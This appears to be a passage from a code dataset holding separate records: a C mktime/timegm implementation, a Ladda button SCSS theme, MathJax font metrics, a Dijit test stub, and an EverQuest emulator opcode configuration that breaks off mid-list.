31, 31, 30, 31, 30, 31 },\n\t{ 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }\n};\n\nstatic int\tyear_lengths[2] = {\n\tDAYSPERNYEAR, DAYSPERLYEAR\n};\n\n/*\n** Adapted from code provided by Robert Elz, who writes:\n**\tThe \"best\" way to do mktime I think is based on an idea of Bob\n**\tKridle's (so its said...) from a long time ago. (mtxinu!kridle now).\n**\tIt does a binary search of the time_t space.  Since time_t's are\n**\tjust 32 bits, its a max of 32 iterations (even at 64 bits it\n**\twould still be very reasonable).\n*/\n\n#ifndef WRONG\n#define WRONG\t(-1)\n#endif /* !defined WRONG */\n\nstatic void\nnormalize(\n\tint * tensptr,\n\tint * unitsptr,\n\tint\tbase\n\t)\n{\n\tif (*unitsptr >= base) {\n\t\t*tensptr += *unitsptr / base;\n\t\t*unitsptr %= base;\n\t} else if (*unitsptr < 0) {\n\t\t--*tensptr;\n\t\t*unitsptr += base;\n\t\tif (*unitsptr < 0) {\n\t\t\t*tensptr -= 1 + (-*unitsptr) / base;\n\t\t\t*unitsptr = base - (-*unitsptr) % base;\n\t\t}\n\t}\n}\n\nstatic struct tm *\nmkdst(\n\tstruct tm *\ttmp\n\t)\n{\n    /* jds */\n    static struct tm tmbuf;\n\n    tmbuf = *tmp;\n    tmbuf.tm_isdst = 1;\n    tmbuf.tm_min += DSTMINUTES;\n    normalize(&tmbuf.tm_hour, &tmbuf.tm_min, MINSPERHOUR);\n    return &tmbuf;\n}\n\nstatic int\ntmcomp(\n\tregister struct tm * atmp,\n\tregister struct tm * btmp\n\t)\n{\n\tregister int\tresult;\n\n\t/* compare down to the same day */\n\n\tif ((result = (atmp->tm_year - btmp->tm_year)) == 0 &&\n\t    (result = (atmp->tm_mon - btmp->tm_mon)) == 0)\n\t    result = (atmp->tm_mday - btmp->tm_mday);\n\n\tif(result != 0)\n\t    return result;\n\n\t/* get rid of one-sided dst bias */\n\n\tif(atmp->tm_isdst == 1 && !btmp->tm_isdst)\n\t    btmp = mkdst(btmp);\n\telse if(btmp->tm_isdst == 1 && !atmp->tm_isdst)\n\t    atmp = mkdst(atmp);\n\n\t/* compare the rest of the way */\n\n\tif ((result = (atmp->tm_hour - btmp->tm_hour)) == 0 &&\n\t    (result = (atmp->tm_min - btmp->tm_min)) == 0)\n\t    result = atmp->tm_sec - btmp->tm_sec;\n\treturn result;\n}\n\n\nstatic time_t\ntime2(\n\tstruct tm *\ttmp,\n\tint * \t\tokayp,\n\tint\t\tusezn\n\t)\n{\n\tregister int\t\t\tdir;\n\tregister int\t\t\tbits;\n\tregister int\t\t\ti;\n\tregister int\t\t\tsaved_seconds;\n\ttime_t\t\t\t\tt;\n\tstruct tm\t\t\tyourtm, mytm;\n\n\t*okayp = FALSE;\n\tyourtm = *tmp;\n\tif (yourtm.tm_sec >= SECSPERMIN + 2 || yourtm.tm_sec < 0)\n\t\tnormalize(&yourtm.tm_min, &yourtm.tm_sec, SECSPERMIN);\n\tnormalize(&yourtm.tm_hour, &yourtm.tm_min, MINSPERHOUR);\n\tnormalize(&yourtm.tm_mday, &yourtm.tm_hour, HOURSPERDAY);\n\tnormalize(&yourtm.tm_year, &yourtm.tm_mon, MONSPERYEAR);\n\twhile (yourtm.tm_mday <= 0) {\n\t\t--yourtm.tm_year;\n\t\tyourtm.tm_mday +=\n\t\t\tyear_lengths[isleap(yourtm.tm_year + TM_YEAR_BASE)];\n\t}\n\tfor ( ; ; ) {\n\t\ti = mon_lengths[isleap(yourtm.tm_year +\n\t\t\tTM_YEAR_BASE)][yourtm.tm_mon];\n\t\tif (yourtm.tm_mday <= i)\n\t\t\tbreak;\n\t\tyourtm.tm_mday -= i;\n\t\tif (++yourtm.tm_mon >= MONSPERYEAR) {\n\t\t\tyourtm.tm_mon = 0;\n\t\t\t++yourtm.tm_year;\n\t\t}\n\t}\n\tsaved_seconds = yourtm.tm_sec;\n\tyourtm.tm_sec = 0;\n\t/*\n\t** Calculate the number of magnitude bits in a time_t\n\t** (this works regardless of whether time_t is\n\t** signed or unsigned, though lint complains if unsigned).\n\t*/\n\tfor (bits = 0, t = 1; t > 0; ++bits, t <<= 1)\n\t\t;\n\t/*\n\t** If time_t is signed, then 0 is the median value,\n\t** if time_t is unsigned, then 1 << bits is median.\n\t*/\n\tt = (t < 0) ? 0 : ((time_t) 1 << bits);\n\tfor ( ; ; ) {\n\t\tif (usezn)\n\t\t\tmytm = *localtime(&t);\n\t\telse\n\t\t\tmytm = *gmtime(&t);\n\t\tdir = tmcomp(&mytm, &yourtm);\n\t\tif (dir != 0) {\n\t\t\tif (bits-- < 0)\n\t\t\t\treturn WRONG;\n\t\t\tif (bits < 0)\n\t\t\t\t--t;\n\t\t\telse if (dir > 0)\n\t\t\t\tt -= (time_t) 1 << bits;\n\t\t\telse\tt += (time_t) 1 << bits;\n\t\t\tcontinue;\n\t\t}\n\t\tif (yourtm.tm_isdst < 0 || mytm.tm_isdst == yourtm.tm_isdst)\n\t\t\tbreak;\n\n\t\treturn WRONG;\n\t}\n\tt += saved_seconds;\n\tif (usezn)\n\t\t*tmp = *localtime(&t);\n\telse\n\t\t*tmp = *gmtime(&t);\n\t*okayp = TRUE;\n\treturn t;\n}\n#else\nint mktime_bs;\n#endif /* !HAVE_MKTIME || !HAVE_TIMEGM */\n\n#ifndef HAVE_MKTIME\nstatic time_t\ntime1(\n\tstruct tm * tmp\n\t)\n{\n\tregister time_t\t\t\tt;\n\tint\t\t\t\tokay;\n\n\tif (tmp->tm_isdst > 1)\n\t\ttmp->tm_isdst = 1;\n\tt = time2(tmp, &okay, 1);\n\tif (okay || tmp->tm_isdst < 0)\n\t\treturn t;\n\n\treturn WRONG;\n}\n\ntime_t\nmktime(\n\tstruct tm * tmp\n\t)\n{\n\treturn time1(tmp);\n}\n#endif /* !HAVE_MKTIME */\n\n#ifdef WANT_TIMEGM\n#ifndef HAVE_TIMEGM\ntime_t\ntimegm(\n\tstruct tm * tmp\n\t)\n{\n\tregister time_t\t\t\tt;\n\tint\t\t\t\tokay;\n\n\ttmp->tm_isdst = 0;\n\tt = time2(tmp, &okay, 0);\n\tif (okay || tmp->tm_isdst < 0)\n\t\treturn t;\n\n\treturn WRONG;\n}\n#endif /* !HAVE_TIMEGM */\n#endif /* WANT_TIMEGM */\n"}
+{"text": "/*!\n * Ladda including the default theme.\n */\n\n@import \"ladda\";\n\n/*************************************\n * CONFIG\n */\n\n$green: #2aca76;\n$blue: #53b5e6;\n$red: #ea8557;\n$purple: #9973C2;\n$mint: #16a085;\n\n\n/*************************************\n * BUTTON THEME\n */\n\n.ladda-button {\n\tbackground: #666;\n\tborder: 0;\n\tpadding: 14px 18px;\n\tfont-size: 18px;\n\tcursor: pointer;\n\n\tcolor: #fff;\n\tborder-radius: 2px;\n\tborder: 1px solid transparent;\n\n\t-webkit-appearance: none;\n\t-webkit-font-smoothing: antialiased;\n\t-webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n\n\t&:hover {\n\t\tborder-color: rgba( 0, 0, 0, 0.07 );\n\t\tbackground-color: #888;\n\t}\n\n\t@include buttonColor( 'green', $green );\n\t@include buttonColor( 'blue', $blue );\n\t@include buttonColor( 'red', $red );\n\t@include buttonColor( 'purple', $purple );\n\t@include buttonColor( 'mint', $mint );\n\n\t&[disabled],\n\t&[data-loading] {\n\t\tborder-color: rgba( 0, 0, 0, 0.07 );\n\n\t\t&, &:hover {\n\t\t\tcursor: default;\n\t\t\tbackground-color: #999;\n\t\t}\n\t}\n\n\t&[data-size=xs] {\n\t\tpadding: 4px 8px;\n\n\t\t.ladda-label {\n\t\t\tfont-size: 0.7em;\n\t\t}\n\t}\n\n\t&[data-size=s] {\n\t\tpadding: 6px 10px;\n\n\t\t.ladda-label {\n\t\t\tfont-size: 0.9em;\n\t\t}\n\t}\n\n\t&[data-size=l] .ladda-label {\n\t\tfont-size: 1.2em;\n\t}\n\n\t&[data-size=xl] .ladda-label {\n\t\tfont-size: 1.5em;\n\t}\n}\n"}
+{"text": "/*************************************************************\n *\n *  MathJax/jax/output/HTML-CSS/fonts/Neo-Euler/Arrows/Regular/Main.js\n *  \n *  Copyright (c) 2013-2017 The MathJax Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\nMathJax.OutputJax['HTML-CSS'].FONTDATA.FONTS['NeoEulerMathJax_Arrows'] = {\n  directory: 'Arrows/Regular',\n  family: 'NeoEulerMathJax_Arrows',\n  testString: '\\u00A0\\u21A4\\u27FB\\u27FD\\u27FE',\n  0x20: [0,0,333,0,0],\n  0xA0: [0,0,333,0,0],\n  0x21A4: [500,0,1000,56,944],\n  0x27FB: [500,0,1690,56,1634],\n  0x27FD: [598,98,1700,76,1643],\n  0x27FE: [598,98,1700,75,1643]\n};\n\nMathJax.Callback.Queue(\n  [\"initFont\",MathJax.OutputJax[\"HTML-CSS\"],\"NeoEulerMathJax_Arrows\"],\n  [\"loadComplete\",MathJax.Ajax,MathJax.OutputJax[\"HTML-CSS\"].fontDir+\"/Arrows/Regular/Main.js\"]\n);\n"}
+{"text": "\n\n\t\n\tDijit Unit Test Runner\n\t\n\t\n\t\tRedirecting to D.O.H runner.\n\t\n\n"}
+{"text": "# ShowEQ Import Notes:\n#  ZERO THE FILE first\n#  perl -pi -e 's/0x0000a-fA-F]{4}/0x0000/g' opcodes.conf\n# Unknown Mapping:\n# OP_Action2 -> OP_Damage\n# OP_EnvDamage -> OP_Damage ---> might have been a one time mistake\n# Name Differences:\n# OP_CancelInvite -> OP_GroupCancelInvite\n# OP_GMFind -> OP_FindPersonRequest\n# OP_CommonMessage -> OP_ChannelMessage\n\nOP_Unknown=0x0000\nOP_ExploreUnknown=0x0000\t\t\t# used for unknown explorer\n\n# V = Verified correct\n# C = Most likely correct\n# U = Unsure, but should be correct or close\n\n# world packets\n# Required to reach Char Select:\nOP_SendLoginInfo=0x6893\t\t\t\t# was 0x2683\nOP_ApproveWorld=0x115a\t\t\t\t# was 0x28a7\nOP_LogServer=0x701f\t\t\t\t# was 0x224f\nOP_SendCharInfo=0x1b85\t\t\t\t# was 0x2c27\nOP_ExpansionInfo=0x1771\t\t\t\t# Same\nOP_GuildsList=0x5b0b\t\t\t\t# Same\nOP_EnterWorld=0x3288\t\t\t\t# was 0x4f60\nOP_PostEnterWorld=0x2f2c\t\t\t# was 0x570c\nOP_World_Client_CRC1=0x0000\t\t\t# C\nOP_World_Client_CRC2=0x0000\t\t\t# C\nOP_SendSpellChecksum=0x0000\t\t\t# C\nOP_SendSkillCapsChecksum=0x0000\t\t# C\n\n# Character Select Related:\nOP_DeleteCharacter=0x0000\t\t\t# C\nOP_CharacterCreateRequest=0x0000\t# C\nOP_CharacterCreate=0x0000\t\t\t# C\nOP_RandomNameGenerator=0x0000\t\t# C 0x0000\nOP_ApproveName=0x0000\t\t\t\t# C\n\nOP_MOTD=0x7312\t\t\t\t\t\t# C 0x0000\nOP_SetChatServer=0x698a\t\t\t\t#\nOP_SetChatServer2=0x0000\t\t\t# Not sent any more ?\nOP_ZoneServerInfo=0x0479\t\t\t# was 0x03cc\nOP_WorldComplete=0x510c\t\t\t\t#\nOP_WorldUnknown001=0x0000\t\t\t# C 0x0000\nOP_FloatListThing=0x0000\t\t\t# V\n\n# Reasons for Disconnect:\nOP_ZoneUnavail=0x0000\t\t\t\t# C 0x0000\nOP_WorldClientReady=0x399b\t\t\t# C 0x0000\nOP_CharacterStillInZone=0x0000\t\t#\nOP_WorldChecksumFailure=0x0000\t\t#\nOP_WorldLoginFailed=0x0000\t\t\t#\nOP_WorldLogout=0x0000\t\t\t\t#\nOP_WorldLevelTooHigh=0x0000\t\t\t#\nOP_CharInacessable=0x0000\t\t\t#\nOP_UserCompInfo=0x0000\t\t\t\t#\n# OP_SendExeChecksum=0x0000\t\t\t#\n# OP_SendBaseDataChecksum=0x0000\t#\n\n# Zone in opcodes\nOP_AckPacket=0x3594\t\t\t\t\t# was 0x3594\nOP_ZoneEntry=0x02d6\t\t\t\t\t# was 0x538f\nOP_ReqNewZone=0x5ca5\t\t\t\t# was 0x5ca5\nOP_NewZone=0x0254\t\t\t\t# was 0x0254\nOP_ZoneSpawns=0x0000\t\t\t\t# ?\nOP_PlayerProfile=0x6022\t\t\t\t# was 0x6022\nOP_TimeOfDay=0x6015\t\t\t\t# was 0x6015\nOP_LevelUpdate=0x0000\t\t\t\t# V\nOP_Stamina=0x0000\t\t\t\t\t# V\nOP_RequestClientZoneChange=0x3fd2\t\t# was 0x4178\nOP_ZoneChange=0x0b93\t\t\t\t# was 0x4a61\nOP_LockoutTimerInfo=0x0000\t\t\t#\nOP_ZoneServerReady=0x0000\t\t\t#\nOP_ZoneInUnknown=0x0000\t\t\t\t#\nOP_LogoutReply=0x0000\t\t\t\t#\nOP_PreLogoutReply=0x0000\t\t\t#\n\n# Required to fully log in\nOP_SpawnAppearance=0x7b64\t\t\t# V\nOP_TributeUpdate=0x4895\t\t\t\t#\nOP_TributeTimer=0x0000\t\t\t\t# C\nOP_TaskDescription=0x0000\t\t\t# C\nOP_TaskActivity=0x0000\t\t\t\t# C\nOP_CompletedTasks=0x0000\t\t\t# C 0x0000\nOP_Weather=0x7ce4\t\t\t\t# was 0x0ed5\nOP_SendAATable=0x1d99\t\t\t\t#\nOP_UpdateAA=0x0000\t\t\t\t\t# V\nOP_RespondAA=0x0000\t\t\t\t\t# C 0x0000\nOP_ReqClientSpawn=0x54e8\t\t\t# was 0x6618\nOP_SpawnDoor=0x6cfe\t\t\t\t#\nOP_GroundSpawn=0x442a\t\t\t\t# was 0x5f0d\nOP_SendZonepoints=0x5851\t\t\t# was 0x0ff4\nOP_SendAAStats=0x0000\t\t\t\t# C\nOP_WorldObjectsSent=0x7b73\t\t\t# was 0x7b73\nOP_BlockedBuffs=0x664a\t\t\t\t# was 0x4027\nOP_SendExpZonein=0x2c27\t\t\t\t# was 0x1436\nOP_SendTributes=0x0000\t\t\t\t# V\nOP_TributeInfo=0x0000\t\t\t\t# V\nOP_SendGuildTributes=0x0000\t\t\t# C 0x0000\nOP_AAExpUpdate=0x0000\t\t\t\t# V\nOP_ExpUpdate=0x0000\t\t\t\t\t# V\nOP_HPUpdate=0x0000\t\t\t\t\t# V\nOP_ManaChange=0x0000\t\t\t\t# C\nOP_TGB=0x0000\t\t\t\t\t\t# C\nOP_SpecialMesg=0x3bf5\t\t\t\t# was 0x14ff\nOP_GuildMemberList=0x0000\t\t\t# C\nOP_GuildMOTD=0x0000\t\t\t\t\t# V\nOP_CharInventory=0x465e\t\t\t\t#\nOP_WearChange=0x0000\t\t\t\t# V\nOP_ClientUpdate=0x7062\t\t\t\t# was 0x7062\nOP_ClientReady=0x6cdc\t\t\t\t# was 0x6cdc\nOP_SetServerFilter=0x0000\t\t\t# V\n\n# Guild Opcodes\nOP_GetGuildMOTD=0x0000\t\t\t\t# C\nOP_GetGuildMOTDReply=0x0000\t\t\t# C\nOP_GuildMemberUpdate=0x0000\t\t\t# C\nOP_GuildInvite=0x0000\t\t\t\t# C\nOP_GuildRemove=0x0000\t\t\t\t# C\nOP_GuildPeace=0x0000\t\t\t\t# C\nOP_SetGuildMOTD=0x0000\t\t\t\t# C\nOP_GuildList=0x0000\t\t\t\t\t# C\nOP_GuildWar=0x0000\t\t\t\t\t# C\nOP_GuildLeader=0x0000\t\t\t\t# C\nOP_GuildDelete=0x0000\t\t\t\t# C\nOP_GuildInviteAccept=0x0000\t\t\t# C\nOP_GuildDemote=0x0000\t\t\t\t# C\nOP_GuildPublicNote=0x0000\t\t\t# C\nOP_GuildManageBanker=0x0000\t\t\t# C\nOP_GuildBank=0x0000\t\t\t\t\t# C\nOP_SetGuildRank=0x0000\t\t\t\t# C\nOP_GuildUpdateURLAndChannel=0x0000\t# C\nOP_GuildMemberLevelUpdate=0x0000\t#\nOP_ZoneGuildList=0x0000\t\t\t\t#\nOP_GetGuildsList=0x0000\t\t\t\t#\n# OP_GuildManageRemove=0x0000\t\t#\n# OP_GuildManageAdd=0x0000\t\t\t#\n# OP_GuildManageStatus=0x0000\t\t#\n\n# GM/guide opcodes\nOP_GMServers=0x0000\t\t\t\t\t# C\nOP_GMBecomeNPC=0x0000\t\t\t\t# C\nOP_GMZoneRequest=0x6f79\t\t\t\t# was 0x18ea\nOP_GMZoneRequest2=0x02d6\t\t\t# was 0x3ad9\nOP_GMGoto=0x0000\t\t\t\t\t# C\nOP_GMSearchCorpse=0x0000\t\t\t# C\nOP_GMHideMe=0x0000\t\t\t\t\t# C\nOP_GMDelCorpse=0x0000\t\t\t\t# C\nOP_GMApproval=0x0000\t\t\t\t# C\nOP_GMToggle=0x0000\t\t\t\t\t# C 0x0000\nOP_GMSummon=0x0000\t\t\t\t\t# C\nOP_GMEmoteZone=0x0000\t\t\t\t# C\nOP_GMEmoteWorld=0x0000\t\t\t\t# C\nOP_GMFind=0x0000\t\t\t\t\t# C\nOP_GMKick=0x0000\t\t\t\t\t# C\nOP_GMKill=0x0000\t\t\t\t\t# C\nOP_GMNameChange=0x0000\t\t\t\t# C\nOP_GMLastName=0x0000\t\t\t\t# C\n\nOP_InspectAnswer=0x0000\t\t\t\t# C\nOP_BeginCast=0x0000\t\t\t\t\t# C\nOP_BuffFadeMsg=0x50c2\t\t\t\t# C\nOP_ConsentResponse=0x0000\t\t\t# C\nOP_MemorizeSpell=0x0000\t\t\t\t# C\nOP_SwapSpell=0x0000\t\t\t\t\t# C\nOP_CastSpell=0x7286\t\t\t\t\t# C\nOP_Consider=0x0000\t\t\t\t\t# C\nOP_FormattedMessage=0x0000\t\t\t# C\nOP_SimpleMessage=0x0000\t\t\t\t# C 0x0000\nOP_Buff=0x0000\t\t\t\t\t\t# C\nOP_Illusion=0x0000\t\t\t\t\t# C\nOP_MoneyOnCorpse=0x0000\t\t\t\t# C\nOP_RandomReply=0x0000\t\t\t\t# C\nOP_DenyResponse=0x0000\t\t\t\t# C\nOP_SkillUpdate=0x0000\t\t\t\t# C\nOP_GMTrainSkillConfirm=0x0000\t\t# C\nOP_RandomReq=0x0000\t\t\t\t\t# C\nOP_Death=0x0000\t\t\t\t\t\t# C\nOP_Bind_Wound=0x0000\t\t\t\t# C\nOP_GMTraining=0x0000\t\t\t\t# C\nOP_GMEndTraining=0x0000\t\t\t\t# C\nOP_GMTrainSkill=0x0000\t\t\t\t# C\nOP_Animation=0x0000\t\t\t\t\t# Was 0x0000\nOP_Begging=0x0000\t\t\t\t\t# C\nOP_Consent=0x0000\t\t\t\t\t# C\nOP_ConsentDeny=0x0000\t\t\t\t# C\nOP_AutoFire=0x0000\t\t\t\t\t# C\nOP_PetCommands=0x0000\t\t\t\t# C\nOP_DeleteSpell=0x0000\t\t\t\t# C\nOP_Surname=0x0000\t\t\t\t\t# C\nOP_ClearSurname=0x0000\t\t\t\t# C\nOP_FaceChange=0x0000\t\t\t\t# C\nOP_SenseHeading=0x0000\t\t\t\t# C\nOP_Action=0x1513\t\t\t\t\t# C\nOP_ConsiderCorpse=0x0000\t\t\t# C\nOP_HideCorpse=0x0000\t\t\t\t# C 0x0000\nOP_Bug=0x0000\t\t\t\t\t\t# C\nOP_Feedback=0x0000\t\t\t\t\t# C\nOP_Report=0x0000\t\t\t\t\t# C\nOP_Damage=0x7519\t\t\t\t\t# C or OP_Action2?\nOP_ChannelMessage=0x2e79\t\t\t# was 0x2e79\nOP_Assist=0x0000\t\t\t\t\t# C\nOP_AssistGroup=0x0000\t\t\t\t# C\nOP_MoveCoin=0x0000\t\t\t\t\t# C\nOP_ZonePlayerToBind=0x0000\t\t\t# C\nOP_KeyRing=0x0000\t\t\t\t\t# C\nOP_WhoAllRequest=0x0000\t\t\t\t# C\nOP_WhoAllResponse=0x0000\t\t\t# C\nOP_FriendsWho=0x0000\t\t\t\t# C\nOP_ConfirmDelete=0x0000\t\t\t\t# V\nOP_Logout=0x44ae\t\t\t\t\t# was 0x64ec\nOP_Rewind=0x0000\t\t\t\t\t# C\nOP_TargetCommand=0x0000\t\t\t\t# C Was 0x0000\nOP_InspectRequest=0x0000\t\t\t# C\nOP_Hide=0x0000\t\t\t\t\t\t# C\nOP_Jump=0x0000\t\t\t\t\t\t# C\nOP_Camp=0x42ef\t\t\t\t\t\t# C\nOP_Emote=0x0000\t\t\t\t\t\t# C\nOP_SetRunMode=0x0000\t\t\t\t# C\nOP_BankerChange=0x0000\t\t\t\t# C\nOP_TargetMouse=0x36f8\t\t\t\t# C 0x0000\nOP_MobHealth=0x0000\t\t\t\t\t# C\nOP_InitialMobHealth=0x0000\t\t\t# C\nOP_TargetHoTT=0x0000\t\t\t\t# C\nOP_TargetBuffs=0x0000\t\t\t\t# C\nOP_BuffCreate=0x6bfb                # V\nOP_DeleteSpawn=0x7434\t\t\t\t# was 0x7434\nOP_AutoAttack=0x0000\t\t\t\t# C\nOP_AutoAttack2=0x0000\t\t\t\t# C\nOP_Consume=0x0000\t\t\t\t\t# V\nOP_MoveItem=0x0000\t\t\t\t\t# C\nOP_DeleteItem=0x0000\t\t\t\t# C\nOP_DeleteCharge=0x0000\t\t\t\t# C\nOP_ItemPacket=0x7c87\t\t\t\t#\nOP_ItemLinkResponse=0x0000\t\t\t# C\nOP_ItemLinkClick=0x0000\t\t\t\t# C\nOP_NewSpawn=0x0000\t\t\t\t\t# C\nOP_Track=0x0000\t\t\t\t\t\t# C\nOP_TrackTarget=0x0000\t\t\t\t# C\nOP_TrackUnknown=0x0000\t\t\t\t# C\nOP_ClickDoor=0x3154\t\t\t\t\t#\nOP_MoveDoor=0x470e\t\t\t\t\t#\nOP_EnvDamage=0x0000\t\t\t\t\t# C\nOP_BoardBoat=0x0000\t\t\t\t\t# C\nOP_Forage=0x0000\t\t\t\t\t# C\nOP_LeaveBoat=0x0000\t\t\t\t\t# C\nOP_ControlBoat=0x0000\t\t\t\t# C\nOP_SafeFallSuccess=0x0000\t\t\t# C\nOP_RezzComplete=0x0000\t\t\t\t# C\nOP_RezzRequest=0x0000\t\t\t\t# C\nOP_RezzAnswer=0x0000\t\t\t\t# C\nOP_Shielding=0x0000\t\t\t\t\t# C\nOP_RequestDuel=0x0000\t\t\t\t# C\nOP_MobRename=0x0000\t\t\t\t\t# C\nOP_AugmentItem=0x0000\t\t\t\t# C\nOP_WeaponEquip1=0x0000\t\t\t\t# C\nOP_WeaponEquip2=0x0000\t\t\t\t# C\nOP_WeaponUnequip2=0x0000\t\t\t# C\nOP_ApplyPoison=0x0000\t\t\t\t# C\nOP_Save=0x0000\t\t\t\t\t\t# C\nOP_TestBuff=0x0000\t\t\t\t\t# C\nOP_CustomTitles=0x0000\t\t\t\t# C\nOP_Split=0x0000\t\t\t\t\t\t# C\nOP_YellForHelp=0x0000\t\t\t\t# C\nOP_LoadSpellSet=0x0000\t\t\t\t# C\nOP_Bandolier=0x0000\t\t\t\t\t# C\nOP_PotionBelt=0x0000\t\t\t\t# C\nOP_DuelResponse=0x0000\t\t\t\t# C\nOP_DuelResponse2=0x0000\t\t\t\t# C\nOP_SaveOnZoneReq=0x2913\t\t\t\t# was 0x2913\nOP_ReadBook=0x0000\t\t\t\t\t# C\nOP_Dye=0x0000\t\t\t\t\t\t# C\nOP_InterruptCast=0x0000\t\t\t\t# C\nOP_AAAction=0x0000\t\t\t\t\t# C\nOP_LeadershipExpToggle=0x0000\t\t# C\nOP_LeadershipExpUpdate=0x0000\t\t# C\nOP_PurchaseLeadershipAA=0x0000\t\t# C\nOP_UpdateLeadershipAA=0x0000\t\t# C\nOP_MarkNPC=0x0000\t\t\t\t\t# C\nOP_ClearNPCMarks=0x0000\t\t\t\t# C\nOP_DoGroupLeadershipAbility=0x0000\t# C\nOP_GroupLeadershipAAUpdate=0x0000\t# C\nOP_DelegateAbility=0x0000\t\t\t# C\nOP_SetGroupTarget=0x0000\t\t\t# C\nOP_Charm=0x0000\t\t\t\t\t\t# C\nOP_Stun=0x0000\t\t\t\t\t\t# C\nOP_SendFindableNPCs=0x390c\t\t\t# C\nOP_FindPersonRequest=0x0000\t\t\t# C\nOP_FindPersonReply=0x0000\t\t\t# C\nOP_Sound=0x0000\t\t\t\t\t\t# C\nOP_PetBuffWindow=0x0000\t\t\t\t# C\nOP_LevelAppearance=0x0000\t\t\t# C\nOP_Translocate=0x0000\t\t\t\t# C\nOP_Sacrifice=0x0000\t\t\t\t\t# C\nOP_PopupResponse=0x0000\t\t\t\t# C\nOP_OnLevelMessage=0x0000\t\t\t# C\nOP_AugmentInfo=0x0000\t\t\t\t# C\nOP_Petition=0x0000\t\t\t\t\t# C\nOP_SomeItemPacketMaybe=0x4200\t\t# C\nOP_SomeItemPacketMaybe=0x0000\t\t# C\nOP_PVPStats=0x0000\t\t\t\t\t# C\nOP_PVPLeaderBoardRequest=0x0000\t\t# C\nOP_PVPLeaderBoardReply=0x0000\t\t# C\nOP_PVPLeaderBoardDetailsRequest=0x0000\t# C\nOP_PVPLeaderBoardDetailsReply=0x0000\t# C\nOP_RestState=0x0000\t\t\t\t\t# C\nOP_RespawnWindow=0x0000\t\t\t\t# C\nOP_DisciplineTimer=0x0000\t\t\t# C\nOP_LDoNButton=0x0000\t\t\t\t# C\nOP_SetStartCity=0x0000\t\t\t\t# C\nOP_VoiceMacroIn=0x0000\t\t\t\t# C\nOP_VoiceMacroOut=0x0000\t\t\t\t# C\nOP_ItemViewUnknown=0x0000\t\t\t# C\nOP_VetRewardsAvaliable=0x0000\t\t# C Mispelled?\nOP_VetClaimRequest=0x0000\t\t\t# C\nOP_VetClaimReply=0x0000\t\t\t\t# C\nOP_CrystalCountUpdate=0x0000\t\t# C\nOP_DisciplineUpdate=0x0000\t\t\t#\nOP_BecomeCorpse=0x0000\t\t\t\t#\nOP_Action2=0x0000\t\t\t\t\t# C OP_Damage?\nOP_MobUpdate=0x4656\t\t\t\t# was 0x4656\nOP_NPCMoveUpdate=0x38e0\t\t\t\t#\nOP_CameraEffect=0x0000\t\t\t\t# V\nOP_SpellEffect=0x0000\t\t\t\t# V\n\nOP_DzQuit=0x0000\nOP_DzListTimers=0x0000\nOP_DzAddPlayer=0x0000\nOP_DzRemovePlayer=0x0000\nOP_DzSwapPlayer=0x0000\nOP_DzMakeLeader=0x0000\nOP_DzPlayerList=0x0000\nOP_DzJoinExpeditionConfirm=0x0000\nOP_DzJoinExpeditionReply=0x0000\nOP_DzExpeditionInfo=0x0000\nOP_DzMemberStatus=0x0000\nOP_DzLeaderStatus=0x0000\nOP_DzExpeditionEndsWarning=0x0000\nOP_DzExpeditionList=0x0000\nOP_DzMemberList=0x0000\nOP_DzCompass=0x0000\nOP_DzChooseZone=0x0000\n\n# New Opcodes\nOP_SpawnPositionUpdate=0x0000\t\t# C\nOP_ManaUpdate=0x0000\t\t\t\t# C\nOP_EnduranceUpdate=0x0000\t\t\t# C\nOP_MobManaUpdate=0x0000\t\t\t\t# C\nOP_MobEnduranceUpdate=0x0000\t\t# C\n\n# Looting\nOP_LootRequest=0x0000\t\t\t\t# C\nOP_EndLootRequest=0x0000\t\t\t# C\nOP_LootItem=0x0000\t\t\t\t\t# C\nOP_LootComplete=0x0000\t\t\t\t# C\n\n# bazaar trader stuff stuff:\nOP_BazaarSearch=0x0000\t\t\t\t# C\nOP_TraderDelItem=0x0000\t\t\t\t# C\nOP_BecomeTrader=0x0000\t\t\t\t# C\nOP_TraderShop=0x0000\t\t\t\t# C\nOP_Trader=0x0000\t\t\t\t\t# C\nOP_TraderBuy=0x0000\t\t\t\t\t# C\nOP_Barter=0x0000\t\t\t\t\t# C\nOP_ShopItem=0x0000\t\t\t\t\t#\nOP_BazaarInspect=0x0000\t\t\t\t#\nOP_Bazaar=0x0000\t\t\t\t\t#\nOP_TraderItemUpdate=0x0000\t\t\t#\n\n# pc/npc trading\nOP_TradeRequest=0x0000\t\t\t\t# C\nOP_TradeAcceptClick=0x0000\t\t\t# C\nOP_TradeRequestAck=0x0000\t\t\t# C\nOP_TradeCoins=0x0000\t\t\t\t# C\nOP_FinishTrade=0x0000\t\t\t\t# C\nOP_CancelTrade=0x0000\t\t\t\t# C\nOP_TradeMoneyUpdate=0x0000\t\t\t# C\nOP_MoneyUpdate=0x0000\t\t\t\t# C\nOP_TradeBusy=0x0000\t\t\t\t\t# C\n\n# Sent after canceling trade or after closing tradeskill object\nOP_FinishWindow=0x0000\t\t\t\t# C\nOP_FinishWindow2=0x0000\t\t\t\t# C\n\n# Sent on Live for what seems to be item existance verification\n# Ex. Before Right Click Effect happens from items\nOP_ItemVerifyRequest=0x0000\t\t\t# C\nOP_ItemVerifyReply=0x0000\t\t\t# C\n\n# merchant crap\nOP_ShopPlayerSell=0x0000\t\t\t# C\nOP_ShopRequest=0x58c5\t\t\t\t# was 0x1044\nOP_ShopEnd=0x3753\t\t\t\t# was 0x3753\nOP_ShopEndConfirm=0x0000\t\t\t# C\nOP_ShopPlayerBuy=0x0000\t\t\t\t# C\nOP_ShopDelItem=0x0000\t\t\t\t# C\n\n# tradeskill stuff:\nOP_ClickObject=0x0000\t\t\t\t# V\nOP_ClickObjectAction=0x0000\t\t\t# V\nOP_ClearObject=0x0000\t\t\t\t# C\nOP_RecipeDetails=0x0000\t\t\t\t# C\nOP_RecipesFavorite=0x0000\t\t\t# C\nOP_RecipesSearch=0x0000\t\t\t\t# C\nOP_RecipeReply=0x0000\t\t\t\t# 